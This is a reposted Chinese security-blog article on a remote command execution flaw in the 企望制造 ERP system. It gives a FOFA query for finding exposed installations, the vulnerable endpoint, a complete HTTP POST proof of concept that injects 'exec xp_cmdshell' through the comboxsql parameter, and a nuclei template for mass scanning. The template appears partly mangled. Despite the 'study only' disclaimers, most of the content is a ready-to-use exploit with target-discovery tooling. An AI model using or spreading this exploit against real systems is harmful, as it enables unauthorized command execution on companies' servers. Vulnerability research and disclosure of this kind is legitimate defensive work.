一、免责声明:
本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!
二、产品介绍:
三、资产梳理:
fofa: title="企望制造ERP系统"
四、漏洞复现:
访问http://127.0.0.1:8082/mainFunctions/comboxstore.action
出现以下页面则可能存在漏洞:
利用 xp_cmdshell进行命令执行
五、POC:
POST /mainFunctions/comboxstore.action HTTP/1.1
Host: 127.0.0.1:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 43
comboxsql=exec%20xp_cmdshell%20'whoami'
nuclei批量检测:
id: qiwangzhizao_rce
info:
name: qiwangzhizao_rce
author: joboy
severity: critical
description: http://xxx.xxx.xxx/mainFunctions/comboxstore.action
metadata:
1 :
title="企望制造ERP系统" :
verified: true
tags: rce
requests:
raw:
|-
GET /mainFunctions/comboxstore.action HTTP/1.1
Host: {{Hostname}}
true :
matchers:
type: dsl
condition: and
dsl:
'contains((body), "data") && status_code == 200'
原文始发于微信公众号(fly的渗透学习笔记):企望制造ERP系统RCE漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论